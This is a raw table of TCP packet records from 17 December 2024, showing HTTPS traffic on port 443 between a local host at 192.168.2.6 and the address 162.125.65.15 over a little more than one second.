Dec 17, 2024 12:14:16.119151115 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.122036934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.122081995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.122471094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.122471094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.122478008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.122546911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.126133919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.126179934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.126226902 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.126233101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.126255035 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.126368046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.129507065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.129561901 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.129628897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.129628897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.129636049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.129698992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.129703999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.133260012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.133284092 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.133322954 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.133327961 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.133407116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.136744976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.136764050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.136831045 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.136837959 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.136853933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.141772032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.146821022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.303152084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.303180933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.303359032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.303369999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.303736925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.306772947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.306801081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.306896925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.306901932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.307087898 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.310868025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.310893059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.310976982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.310981989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.311037064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.311037064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.314290047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.314313889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.314397097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.314400911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.314755917 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.318365097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.318389893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.318531990 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.318531990 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.318537951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.319070101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.321824074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.321866989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.322449923 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.322449923 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.322458029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.325642109 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.325664997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.325752020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.325757980 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.328881025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.328902960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.328989029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.328995943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.379847050 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.495750904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.495804071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.495848894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.495889902 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.496179104 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.496179104 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.496201038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.497015953 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.498831034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.498873949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.498920918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.498925924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.499147892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.502980947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.503022909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.503098965 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.503113985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.503159046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.506278992 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.506320953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.506375074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.506381035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.506428003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.510535955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.510584116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.510624886 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.510631084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.511132002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.513782978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.513823032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.513868093 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.513878107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.513930082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.513930082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.515331030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.517884016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.517924070 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.517965078 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.517985106 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.518018007 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.518469095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.520908117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.520950079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.521018982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.521018982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.521028042 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.521151066 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.521655083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.533701897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.687908888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.687985897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.688055992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.688055992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.688066959 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.688127041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.691519022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.691564083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.691688061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.691688061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.691698074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.695025921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.695067883 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.695111990 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.695118904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.695175886 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.698970079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.699014902 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.699068069 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.699081898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.699116945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.703361034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.703412056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.703455925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.703463078 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.703497887 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.703623056 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.706615925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.706665039 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.706701040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.706710100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.706989050 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.710362911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.710411072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.710624933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.710624933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.710633993 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.712201118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.713562965 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.713610888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.713711023 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.714152098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.714152098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.714165926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.714299917 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.720448971 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.880083084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.880130053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.880275011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.880275011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.880292892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.880347013 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.884010077 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.884056091 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.884084940 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.884119987 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.884125948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.884216070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.888063908 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.888111115 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.888190985 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.888190985 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.888197899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.888257980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.891338110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.891390085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.891393900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.891480923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.891612053 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.891612053 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.894871950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.894917011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.895003080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.895003080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.895014048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.895344019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.898096085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.898138046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.898166895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.898171902 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.898221016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.898221016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.901993036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.902049065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.902142048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.902142048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.902149916 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.902411938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.905563116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.906013966 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.906056881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.906124115 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.906130075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:16.906276941 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.906276941 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:16.929109097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.072854042 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.072926044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.073018074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.073018074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.073029041 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.073167086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.076627016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.076668978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.076733112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.076733112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.076747894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.076812029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.079902887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.079947948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.079982042 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.079993963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.080054045 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.080054045 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.084006071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.084048033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.084091902 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.084098101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.084125042 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.084194899 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.087552071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.087594986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.087651014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.087651014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.087665081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.087821960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.090769053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.090814114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.090876102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.090881109 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.090897083 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.090934038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.094511986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.094615936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.094657898 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.094664097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.094691038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.094777107 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.097467899 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.098541975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.098592997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.098630905 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.098655939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.098664999 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.098767996 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.121073961 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.264153004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.264189005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.264238119 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.264256954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.264359951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.264359951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.267937899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.267961979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.268013000 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.268028021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.268052101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.268152952 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.271919012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.271981955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.271996975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.272016048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.272048950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.272228956 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.275284052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.275350094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.275361061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.275391102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.275600910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.275600910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.279278994 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.279347897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.279428959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.279428959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.279439926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.279551029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.282608032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.282664061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.282728910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.282728910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.282753944 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.283077955 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.286736012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.286771059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.286814928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.286819935 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.286932945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.286932945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.288404942 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.290770054 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.290798903 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.290954113 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.290961981 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.291043043 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.305315971 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.456810951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.456841946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.456909895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.456917048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.456963062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.456964016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.459950924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.459980011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.460031033 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.460041046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.460124016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.463994980 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.464021921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.464071035 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.464077950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.464126110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.464126110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.467303991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.467344999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.467391014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.467401028 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:17.467443943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:17.467443943 CET	49866	443	192.168.2.6	162.125.65.15
